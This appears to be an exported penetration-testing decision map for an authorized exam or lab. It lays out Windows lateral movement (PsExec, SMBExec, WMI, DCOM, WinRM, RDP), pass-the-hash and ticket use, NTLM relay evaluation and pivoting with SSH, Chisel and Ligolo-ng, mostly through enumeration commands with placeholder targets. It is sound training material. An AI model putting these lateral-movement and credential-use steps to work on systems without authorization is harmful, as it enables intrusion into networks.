Requires: RPC endpoint mapper plus negotiated dynamic ports; effective WMI/DCOM rights; the selected output path may additionally need SMB
Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context
Obtain an authorized RDP interactive session — RDP is reachable and the identity may have remote-interactive logon rights
Requires: Allowed account/session policy and compatible client/NLA/TLS; hash-based Restricted Admin has additional supported-policy/admin requirements
Execute through remote Task Scheduler — The identity has remote task rights and a compatible output path
Requires: Task Scheduler RPC reachability, effective task-creation rights and the required administrative output access
Execute through an authorized DCOM application object — A usable remote COM application and effective activation/method rights
Requires: RPC/dynamic-port route, allowed DCOM activation and application method, supported authentication and target component
Execute through uploaded service creation using PsExecNot inspectedA destination grants administrative-share write and service-control rights
Starting access: Identified authentication material, destination service reachability and a candidate authorized identity
Discover the clue
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares
Read the result
Administrative-share control is one PsExec prerequisite, not proof of every service/pipe operation.
Still check: Validate actual SCM rights, binary compatibility, service start and named-pipe path; check the final execution identity.
Illustrative output
Authentication: accepted ADMIN$: READ,WRITE SCM create/start: not yet verified
Validate prerequisites and compare methods
SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares
What did you find?
Enabled: All share/SCM/pipe conditions hold and remote effect is observed: use the service-upload method.
Ruled out here: ADMIN$ is unwritable or SCM creation is denied: reject this specific PsExec route.
Unresolved: A tool's admin label alone leaves exact method authorization unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context
Obtain accessible live logon-session credential material — A controlled Windows host may hold useful logged-on identities
Requires: Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material
Execute commands through service command lines and SMB output — SCM rights and SMB output access exist but an uploaded service binary is unsuitable
Requires: Accepted authentication, service create/start rights and the selected output-share/server path
Execute commands through service command lines and SMB outputNot inspectedSCM rights and SMB output access exist but an uploaded service binary is unsuitable
Starting access: Identified authentication material, destination service reachability and a candidate authorized identity
Discover the clue
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares
Read the result
A share and possible service rights suggest the command-line service route, whose output still has its own access path.
Still check: Confirm service create/start, exact output mode/share and command effect independently from retrieved stdout.
Illustrative output
ADMIN$: accessible Accepted identity: DOMAIN\USER Service-command and output retrieval: verify separately
Validate prerequisites and compare methods
Accepted authentication, service create/start rights and the selected output-share/server path
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares
What did you find?
Enabled: The service command executes and its selected output is available: choose SMBExec.
Ruled out here: SCM creation is denied: reject service-command execution despite SMB login.
Unresolved: No stdout may be output-share failure rather than failed process execution.
Show connections
These are conditional possibilities. Check the named condition before moving.
Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context
Execute through uploaded service creation using PsExec — A destination grants administrative-share write and service-control rights
Requires: SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context
Diagnose connection direction, listener and session failures in order — Command execution or payload delivery exists but the expected usable channel does not
Requires: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence
Execute through remote Task SchedulerNot inspectedThe identity has remote task rights and a compatible output path
Starting access: Identified authentication material, destination service reachability and a candidate authorized identity
Discover the clue
Test-NetConnection TARGET -Port 135
Test-NetConnection TARGET -Port 445
Read the result
The required network services are candidates; a task cannot be assumed creatable from port results.
Still check: Check negotiated RPC reachability, task-create permission, actual principal and administrative output channel.
Illustrative output
135: reachable 445: reachable Remote task creation and output ACLs: not yet known
Validate prerequisites and compare methods
Task Scheduler RPC reachability, effective task-creation rights and the required administrative output access
Test-NetConnection TARGET -Port 135
Test-NetConnection TARGET -Port 445
What did you find?
Enabled: Task creation/execution and the bounded effect are verified: choose ATExec.
Ruled out here: The account lacks remote task rights: reject this method while retaining other service access.
Unresolved: A task-run request accepted without process/effect evidence is inconclusive.
Show connections
These are conditional possibilities. Check the named condition before moving.
Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect
Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context
Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights
Execute through WMI or native CIM over DCOMNot inspectedA destination exposes WMI/DCOM and the identity has useful namespace/process rights
Starting access: Identified authentication material, destination service reachability and a candidate authorized identity
Discover the clue
Test-NetConnection TARGET -Port 135
Test-NetConnection TARGET -Port 445
Read the result
Port 135 and an output route justify further checks but do not prove a WMI process can be created.
Still check: Validate dynamic ports, DCOM/WMI authorization, native CIM transport choice and actual effect.
Illustrative output
Endpoint mapper: reachable SMB output path: reachable Dynamic RPC and WMI namespace rights: unknown
Validate prerequisites and compare methods
RPC endpoint mapper plus negotiated dynamic ports; effective WMI/DCOM rights; the selected output path may additionally need SMB
Test-NetConnection TARGET -Port 135
Test-NetConnection TARGET -Port 445
What did you find?
Enabled: Authorized process creation plus a working observation/output path exists: use WMI/CIM.
Ruled out here: The required namespace/activation permission is denied: reject that identity's WMI route.
Unresolved: Execution may succeed with failed output retrieval; inspect a controlled effect before concluding.
Show connections
These are conditional possibilities. Check the named condition before moving.
Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect
Diagnose connection direction, listener and session failures in order — Command execution or payload delivery exists but the expected usable channel does not
Requires: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence
Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context
Execute through an authorized DCOM application objectNot inspectedA usable remote COM application and effective activation/method rights
Starting access: Identified authentication material, destination service reachability and a candidate authorized identity
Discover the clue
Test-NetConnection TARGET -Port 135
Read the result
A named application and route form a candidate; component availability and allowed activation/method remain separate.
Still check: Check dynamic RPC, actual class/rights, authentication/tool support, method and verifiable output/effect.
Illustrative output
RPC endpoint mapper: reachable Candidate application: MMC20.Application.1 Activation/method authorization: not yet known
Validate prerequisites and compare methods
RPC/dynamic-port route, allowed DCOM activation and application method, supported authentication and target component
Test-NetConnection TARGET -Port 135
What did you find?
Enabled: The intended authorized application method produces the remote effect: choose this DCOM route.
Ruled out here: The component is absent or activation is denied: reject that class-based chain.
Unresolved: A created COM object without command/effect evidence leaves execution unproved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect
Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights
Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length
Use WinRM, WinRS or PowerShell remotingNot inspectedA WinRM listener and a candidate endpoint-authorized account
Starting access: Identified authentication material, destination service reachability and a candidate authorized identity
Discover the clue
Test-NetConnection TARGET -Port 5985
Test-NetConnection TARGET -Port 5986
Read the result
A reachable endpoint plus a known credential is a candidate, not proof the account may enter that remoting session.
Still check: Verify accepted authentication, correct name/TLS context, endpoint rights and any second-hop requirements.
Illustrative output
5985: reachable SMB credential: accepted WinRM endpoint authorization: unknown
Validate prerequisites and compare methods
Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context
Test-NetConnection TARGET -Port 5985
Test-NetConnection TARGET -Port 5986
What did you find?
Enabled: The endpoint opens the intended session and identity is verified: choose WinRM/WinRS/remoting.
Ruled out here: A valid account is denied the endpoint: reject that session configuration for this identity.
Unresolved: Second-hop resource failure does not disprove the first WinRM authentication.
Show connections
These are conditional possibilities. Check the named condition before moving.
Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context
Obtain accessible live logon-session credential material — A controlled Windows host may hold useful logged-on identities
Requires: Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material
Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights
Obtain an authorized RDP interactive sessionNot inspectedRDP is reachable and the identity may have remote-interactive logon rights
Starting access: Identified authentication material, destination service reachability and a candidate authorized identity
Discover the clue
Test-NetConnection TARGET -Port 3389
Read the result
RDP transport does not grant desktop access; Restricted Admin/hash use has additional requirements.
Still check: Check NLA/TLS, identity qualification, logon authorization and the chosen authentication mode.
Illustrative output
3389: reachable Candidate identity: DOMAIN\USER Remote-interactive logon right: not yet confirmed
Validate prerequisites and compare methods
Allowed account/session policy and compatible client/NLA/TLS; hash-based Restricted Admin has additional supported-policy/admin requirements
Test-NetConnection TARGET -Port 3389
What did you find?
Enabled: The authorized interactive logon opens under the verified token: choose RDP.
Ruled out here: The account lacks the required logon right or the hash route lacks Restricted Admin support: reject that variant.
Unresolved: A generic connection error requires separating client/protocol/policy before judging the credential.
Show connections
These are conditional possibilities. Check the named condition before moving.
Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context
Recover Windows application, history and stored-credential artifacts — Readable application configuration, unattended setup, PowerShell trails or Credential Manager entries
Requires: Artifact read permission and exact protecting identity/context for saved or DPAPI material
Select password, NT hash, key-to-ticket or ticket authentication — A password, actual NT hash, AES/NT long-term key or ticket is available
Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization
Select password, NT hash, key-to-ticket or ticket authenticationNot inspectedA password, actual NT hash, AES/NT long-term key or ticket is available
Starting access: Identified authentication material, destination service reachability and a candidate authorized identity
Discover the clue
klist
getent hosts TARGET_HOST
date -u
Read the result
The cache permits investigating a matching CIFS action, not arbitrary WinRM or a new TGS without a TGT/KDC route.
Still check: Match NTLM versus Kerberos support, account/domain, key/encryption policy, name/time and destination rights.
Illustrative output
Available cache: cifs/TARGET_HOST@REALM No TGT present Target hostname: resolves through selected route
Validate prerequisites and compare methods
Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization
klist
getent hosts TARGET_HOST
date -u
What did you find?
Enabled: The selected client/service accepts the exact material and action: use that method.
Ruled out here: Only a challenge response is available for a direct NT-hash client: reject the type mismatch.
Unresolved: An unlabelled hash or unknown ticket lifetime requires classification first.
Show connections
These are conditional possibilities. Check the named condition before moving.
Execute through uploaded service creation using PsExec — A destination grants administrative-share write and service-control rights
Requires: SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context
Execute through WMI or native CIM over DCOM — A destination exposes WMI/DCOM and the identity has useful namespace/process rights
Requires: RPC endpoint mapper plus negotiated dynamic ports; effective WMI/DCOM rights; the selected output path may additionally need SMB
Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context
Inventory, convert and import tickets in the correct logon context — A valid ticket/cache or a long-term key that can request a TGT
Requires: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context
S17 · Evaluate a direct Net-NTLMv2 relay path without spoofingNot inspectedDiscovery / validation only · action procedure pending
- Enter: an explicitly authorized, live NTLM authentication source is already present and a different receiver target is relevant. A saved Net-NTLMv2 response alone does not enter this state.
- Discover: identify source protocol/event, relayed principal, receiver protocol/host and source-to-target reachability. For a selected SMB receiver, inspect signing with
nmap -p 445 --script smb2-security-mode TARGET. - Validate: receiver accepts NTLM, signing/EPA/channel binding/reflection protections permit the exchange, and the relayed principal has one useful target operation. Current exam rules prohibit poisoning/spoofing; Responder name-resolution poisoning is never the source in the exam workflow.
- Execute: the existing tool reference is not a complete action-specific procedure. Keep execution unavailable pending RW09.
- Verify: define success as the chosen receiver operation under the relayed identity, not merely an inbound connection or captured challenge-response.
- Outcomes: source + compatible receiver + useful authorization established → ready for RW09 procedure; signing/protocol/authorization decisively blocks it → ruled out for that receiver; protection or source-event behavior unresolved → inconclusive.
Reach internal services
Discover pivot interfaces, routes and internal service contextNot inspectedA foothold exposes an interface/subnet or a loopback-only service
Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path
Discover the clue
ip addr
ip route
ss -lntup
Read the result
A second network or loopback listener supplies a new vantage candidate; forwarding is not automatically enabled.
Still check: Read interfaces/routes/listeners on the pivot and probe the internal destination from that host. Draw both legs and the initiator; only choose SSH/SOCKS/Ligolo after the destination leg works.
Illustrative output
INTERFACE_A: current network INTERFACE_B: assigned internal network Listener: 127.0.0.1:PORT
Validate prerequisites and compare methods
A usable pivot process/identity and explicit scope; both forward and return directions must be understood
ip addr
ip route
ss -lntup
What did you find?
Enabled: The pivot reaches the needed endpoint and a supported tunnel can carry the client: choose that route.
Ruled out here: The new subnet is outside assigned scope: do not use it as an attack route.
Unresolved: Interface/route presence alone does not prove destination/firewall access.
Show connections
These are conditional possibilities. Check the named condition before moving.
Relay a single TCP service through a fixed forward — One reachable pivot can connect to one internal TCP destination
Requires: A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity
Forward a selected service through an SSH client-side listener — SSH reaches a server that can access the needed internal service
Requires: Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route
Use a reverse Chisel SOCKS or fixed TCP tunnel — A pivot can make outbound HTTP/WebSocket connections to the tunnel server
Requires: Compatible reviewed client/server, server reverse mode, reachable server port and pivot-to-destination access
Route a selected internal subnet through Ligolo-ng — Several protocols/subnets require a route-style interface through an agent
Requires: Compatible proxy/agent, permitted local interface/route management, reachable carrier and selected assigned subnet
Expose a server-side SOCKS proxy through remote dynamic SSH forwarding — Only the pivot can initiate SSH, but several client-selected internal destinations are needed
Requires: A supporting OpenSSH client, allowed remote forwarding, listener binding and SOCKS-compatible tool clients
Route a selected subnet through sshuttle — Multiple internal TCP destinations need transparent application access over SSH
Requires: Working SSH/Python environment, local routing/firewall privileges and explicitly selected supported traffic/subnets
Forward from Windows with OpenSSH, Plink or Netsh — The pivot is Windows and available networking utilities constrain the route
Requires: Compatible OpenSSH/Plink authentication or administrative Netsh/IP Helper context; correct listener and destination paths
Use forward Chisel SOCKS and version-supported UDP routing — The assessment-side client can reach a pivot-side tunnel server
Requires: Compatible client/server roles, reachable carrier, correctly placed SOCKS listener and explicitly supported UDP-aware mode when required
Compose multiple pivots and validate every connection leg — A second internal network is reachable only from a later foothold
Requires: A working first route, explicit second carrier/listener directions and correct per-hop DNS/return paths
Relay a single TCP service through a fixed forwardNot inspectedOne reachable pivot can connect to one internal TCP destination
Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path
Discover the clue
ip route get TARGET
ss -lnt
Read the result
A single TCP service can fit a fixed relay without assuming a full routed network.
Still check: Confirm both legs, bind address/permission and any additional dynamic ports or return path.
Illustrative output
Pivot -> internal TARGET:PORT: verified Assessment source -> pivot listener: candidate Needed protocol: TCP, one fixed destination
Validate prerequisites and compare methods
A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity
ss -lnt
ip route get TARGET
What did you find?
Enabled: Both legs and the destination handshake work: choose a fixed TCP relay.
Ruled out here: The protocol needs unprovided UDP or dynamic connections: reject this one-port topology.
Unresolved: A listen socket without the destination handshake leaves the remote leg unknown.
Show connections
These are conditional possibilities. Check the named condition before moving.
Use SQL Server rights, impersonation and command facilities — SQL Server credentials or a Windows identity accepted by the database
Requires: Correct SQL versus Windows authentication; database role and configuration must permit the requested operation
Use MySQL/MariaDB data and file primitives — A MySQL-compatible service and valid application/database credentials
Requires: Database authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions
Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights
Forward a selected service through an SSH client-side listenerNot inspectedSSH reaches a server that can access the needed internal service
Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path
Discover the clue
ssh -v -p SSH_PORT USER@PIVOT
ss -lnt
Read the result
Client-side listener plus server-side destination is the -L direction; destination loopback belongs to the SSH server.
Still check: Verify forwarding policy, local bind and server-to-destination application access.
Illustrative output
Assessment client -> SSH server: accepted SSH server -> 127.0.0.1:INTERNAL_PORT: needed Desired listener: assessment client
Validate prerequisites and compare methods
Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route
ssh -v -p SSH_PORT USER@PIVOT
ss -lnt
What did you find?
Enabled: The permitted local forward delivers the service handshake: choose -L.
Ruled out here: The server cannot reach the selected destination: reject this topology regardless of valid SSH login.
Unresolved: SSH login alone leaves forwarding policy unknown.
Show connections
These are conditional possibilities. Check the named condition before moving.
Use MySQL/MariaDB data and file primitives — A MySQL-compatible service and valid application/database credentials
Requires: Database authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions
Use SQL Server rights, impersonation and command facilities — SQL Server credentials or a Windows identity accepted by the database
Requires: Correct SQL versus Windows authentication; database role and configuration must permit the requested operation
Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time
Provide SOCKS access through SSH dynamic forwardingNot inspectedSeveral internal TCP services need access through one SSH server
Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path
Discover the clue
ssh -v -p SSH_PORT USER@PIVOT
Read the result
Multiple client-selected TCP destinations suggest a dynamic SOCKS listener rather than many fixed forwards.
Still check: Check SSH forwarding, listener bind, native/intercepted client support and DNS resolution location.
Illustrative output
SSH path: accepted Needed destinations: several TCP services Client proxy support: inspect
Validate prerequisites and compare methods
SSH forwarding allowed and clients that support SOCKS or compatible interception; DNS behavior must be chosen explicitly
ssh -v -p SSH_PORT USER@PIVOT
What did you find?
Enabled: Proxy-aware clients reach the selected applications: choose dynamic SOCKS.
Ruled out here: The needed operation relies on raw/unsupported UDP traffic: reject ordinary TCP SOCKS for that operation.
Unresolved: A working SSH session without a proxy-aware test leaves application/proxy compatibility unknown.
Show connections
These are conditional possibilities. Check the named condition before moving.
Use ProxyChains, native SOCKS clients and SSH jump paths appropriately — A SOCKS listener or an SSH jump host is already available
Requires: Client/proxy transport compatibility, correct proxy configuration and controlled name resolution
Discover TCP ports with SYN or connect scans — An assigned host needs an initial service queue or full TCP coverage
Requires: SYN scanning needs raw-packet privileges; connect scanning needs OS TCP connections; specify selected versus full port coverage
Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time
Expose an SSH-client-side destination through a server-side remote listenerNot inspectedThe useful side can initiate SSH outward but cannot accept an inbound management connection
Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path
Discover the clue
ssh -v USER@SSH_SERVER
Read the result
The useful listener is on the SSH server while the destination is reached from the client side: a remote forward candidate.
Still check: Verify remote-forward permission, server bind/GatewayPorts policy and pivot-side destination reachability.
Illustrative output
Pivot/client -> SSH server: allowed SSH server -> pivot inbound: blocked Desired listener: SSH server
Validate prerequisites and compare methods
Outbound SSH route, accepted identity, server forwarding/GatewayPorts policy and reachability to the chosen client-side destination
ssh -v USER@SSH_SERVER
ss -lnt
What did you find?
Enabled: The server-side listener carries the intended service: choose the -R fixed forward.
Ruled out here: Only a loopback listener is available but another host must connect and no approved bind path exists: reject that exposure design.
Unresolved: Accepted outbound SSH does not prove remote listener policy.
Show connections
These are conditional possibilities. Check the named condition before moving.
Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights
Enumerate SMB/RPC shares, files and identities — SMB/RPC endpoints, domain clues or new credentials
Requires: Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter
Build the callback and delivery routes separately from the attack route — A pivoted exploit reaches its target but its shell/download cannot return
Requires: Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward
Expose a server-side SOCKS proxy through remote dynamic SSH forwardingNot inspectedOnly the pivot can initiate SSH, but several client-selected internal destinations are needed
Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path
Discover the clue
ssh -V
Read the result
Remote listener placement plus per-connection SOCKS destination selection suggests remote dynamic forwarding.
Still check: Check implementation support, remote-forward policy, listener binding and proxy-client/DNS compatibility.
Illustrative output
SSH client: supported current OpenSSH Outbound pivot -> server: allowed Server-side SOCKS listener: required
Validate prerequisites and compare methods
A supporting OpenSSH client, allowed remote forwarding, listener binding and SOCKS-compatible tool clients
ssh -V
What did you find?
Enabled: A supported remote dynamic listener carries the intended TCP clients: choose that mode.
Ruled out here: The installed SSH client does not support the syntax or policy forbids it: reject that variant.
Unresolved: A version string without a controlled forwarding/application test leaves policy/transport unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Use ProxyChains, native SOCKS clients and SSH jump paths appropriately — A SOCKS listener or an SSH jump host is already available
Requires: Client/proxy transport compatibility, correct proxy configuration and controlled name resolution
Expose an SSH-client-side destination through a server-side remote listener — The useful side can initiate SSH outward but cannot accept an inbound management connection
Requires: Outbound SSH route, accepted identity, server forwarding/GatewayPorts policy and reachability to the chosen client-side destination
Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time
Use ProxyChains, native SOCKS clients and SSH jump paths appropriatelyNot inspectedA SOCKS listener or an SSH jump host is already available
Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path
Discover the clue
curl --socks5-hostname 127.0.0.1:SOCKS_PORT http://TARGET:PORT/
Read the result
One supported TCP application works; the proxy does not automatically carry raw packets or arbitrary DNS/UDP.
Still check: Check native versus intercepted support, connect-only scanner modes, name resolution and every required protocol leg.
Illustrative output
Proxy-aware HTTP request: application response Raw discovery request: no useful result
Validate prerequisites and compare methods
Client/proxy transport compatibility, correct proxy configuration and controlled name resolution
curl --socks5-hostname 127.0.0.1:SOCKS_PORT http://TARGET:PORT/
What did you find?
Enabled: The actual client's application handshake works through the chosen proxy/jump: use it.
Ruled out here: A static/raw/UDP-only client is incompatible with this proxy wrapper: choose another transport.
Unresolved: A reachable SOCKS port without an end-to-end service test leaves the exit path unknown.
Show connections
These are conditional possibilities. Check the named condition before moving.
Discover TCP ports with SYN or connect scans — An assigned host needs an initial service queue or full TCP coverage
Requires: SYN scanning needs raw-packet privileges; connect scanning needs OS TCP connections; specify selected versus full port coverage
Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights
Route a selected internal subnet through Ligolo-ng — Several protocols/subnets require a route-style interface through an agent
Requires: Compatible proxy/agent, permitted local interface/route management, reachable carrier and selected assigned subnet
Route a selected subnet through sshuttleNot inspectedMultiple internal TCP destinations need transparent application access over SSH
Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path
Discover the clue
ssh -v USER@PIVOT
python3 --version
ip route
Read the result
An SSH carrier and compatible endpoints make a transparent selected-subnet route a candidate; local Python output alone does not prove the remote runtime.
Still check: Verify local route/firewall permissions, remote runtime, supported transport/mode and explicitly selected subnet/DNS behavior.
Illustrative output
SSH path: accepted Local routing/firewall context: inspect Remote Python support: inspect in SSH context
Validate prerequisites and compare methods
Working SSH/Python environment, local routing/firewall privileges and explicitly selected supported traffic/subnets
ssh -v USER@PIVOT
python3 --version
What did you find?
Enabled: The selected application traffic works through the compatible mode: choose sshuttle.
Ruled out here: Required local permission or remote support is unavailable: reject this route implementation.
Unresolved: TCP success does not establish unsupported UDP/raw behavior; test the actual requirement.
Show connections
These are conditional possibilities. Check the named condition before moving.
Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time
Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights
Provide SOCKS access through SSH dynamic forwarding — Several internal TCP services need access through one SSH server
Requires: SSH forwarding allowed and clients that support SOCKS or compatible interception; DNS behavior must be chosen explicitly
Forward from Windows with OpenSSH, Plink or NetshNot inspectedThe pivot is Windows and available networking utilities constrain the route
Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path
Discover the clue
Get-Command ssh,plink,netsh -ErrorAction SilentlyContinue
Get-Service iphlpsvc
Test-NetConnection TARGET -Port PORT
Read the result
Windows has a carrier/destination candidate; Netsh administrative state and user-space SSH requirements differ.
Still check: Choose the supported tool, verify listener/bind/firewall and correct connection direction; check its exact rights.
Illustrative output
ssh: available iphlpsvc: Running Destination TcpTestSucceeded: True Administrative portproxy right: not yet known
Validate prerequisites and compare methods
Compatible OpenSSH/Plink authentication or administrative Netsh/IP Helper context; correct listener and destination paths
Get-Command ssh,plink,netsh -ErrorAction SilentlyContinue
Get-Service iphlpsvc
Test-NetConnection TARGET -Port PORT
What did you find?
Enabled: The selected implementation carries the application and cleanup state is known: use it.
Ruled out here: No admin rights for portproxy rules out that Netsh route, not a valid user-space SSH option.
Unresolved: A running IP Helper service alone does not establish permission or a working forward.
Show connections
These are conditional possibilities. Check the named condition before moving.
Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights
Forward a selected service through an SSH client-side listener — SSH reaches a server that can access the needed internal service
Requires: Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route
Build the callback and delivery routes separately from the attack route — A pivoted exploit reaches its target but its shell/download cannot return
Requires: Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward
Use a reverse Chisel SOCKS or fixed TCP tunnelNot inspectedA pivot can make outbound HTTP/WebSocket connections to the tunnel server
Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path
Discover the clue
chisel --version
chisel server --help
chisel client --help
Read the result
The outbound carrier and server-side listener requirement identify a reverse-tunnel topology.
Still check: Verify server reverse mode, fingerprint, carrier upgrade, listener bind and pivot-to-destination compatibility.
Illustrative output
Compatible peers: inspect versions Direction: pivot client -> assessment server Required remote: R: fixed destination or R:socks
Validate prerequisites and compare methods
Compatible reviewed client/server, server reverse mode, reachable server port and pivot-to-destination access
chisel --version
chisel server --help
chisel client --help
What did you find?
Enabled: The carrier and intended service handshake succeed: choose the matching reverse remote.
Ruled out here: The carrier/upgrade is blocked with no permitted route: reject this tunnel path.
Unresolved: A connected carrier without application response leaves listener/exit/client behavior unknown.
Show connections
These are conditional possibilities. Check the named condition before moving.
Use ProxyChains, native SOCKS clients and SSH jump paths appropriately — A SOCKS listener or an SSH jump host is already available
Requires: Client/proxy transport compatibility, correct proxy configuration and controlled name resolution
Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights
Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time
Use forward Chisel SOCKS and version-supported UDP routingNot inspectedThe assessment-side client can reach a pivot-side tunnel server
Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path
Discover the clue
chisel --version
chisel client --help
Read the result
Forward placement and actual client transport determine the mode; a UDP-capable tunnel binary does not make every wrapper UDP-capable.
Still check: Verify compatible peers, server SOCKS setting, listener route and the real application's UDP/TCP support.
Illustrative output
Tool-side client -> pivot server: possible Needed transport: TCP, or explicitly supported UDP-aware mode Ordinary ProxyChains: TCP-only
Validate prerequisites and compare methods
Compatible client/server roles, reachable carrier, correctly placed SOCKS listener and explicitly supported UDP-aware mode when required
chisel --version
chisel client --help
What did you find?
Enabled: The intended application's required transport works end to end: use that configured mode.
Ruled out here: A TCP-only wrapper is used for a UDP-only operation: reject that combination.
Unresolved: TCP success without UDP-aware client/firewall evidence leaves UDP unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Route a selected internal subnet through Ligolo-ng — Several protocols/subnets require a route-style interface through an agent
Requires: Compatible proxy/agent, permitted local interface/route management, reachable carrier and selected assigned subnet
Use ProxyChains, native SOCKS clients and SSH jump paths appropriately — A SOCKS listener or an SSH jump host is already available
Requires: Client/proxy transport compatibility, correct proxy configuration and controlled name resolution
Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time
Route a selected internal subnet through Ligolo-ngNot inspectedSeveral protocols/subnets require a route-style interface through an agent
Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path
Discover the clue
ip route
ip link
./proxy -h
Read the result
A selected internal network and proxy-incompatible client suggest a route-style agent, subject to its own transport behavior.
Still check: Verify compatible proxy/agent, local privileges, carrier, selected route/interface, DNS and any separate reverse listener.
Illustrative output
Existing routes: SELECTED_SUBNET absent Required client: unsuitable for current SOCKS path Local interface/route permissions: inspect
Validate prerequisites and compare methods
Compatible proxy/agent, permitted local interface/route management, reachable carrier and selected assigned subnet
ip route
ip link
./proxy -h
What did you find?
Enabled: The routed application test works on the selected subnet: choose the agent route.
Ruled out here: A conflicting/unmodifiable route prevents this design: reject it or select an approved alternate subnet mapping.
Unresolved: Agent connection alone does not prove interface, route or destination reachability.
Show connections
These are conditional possibilities. Check the named condition before moving.
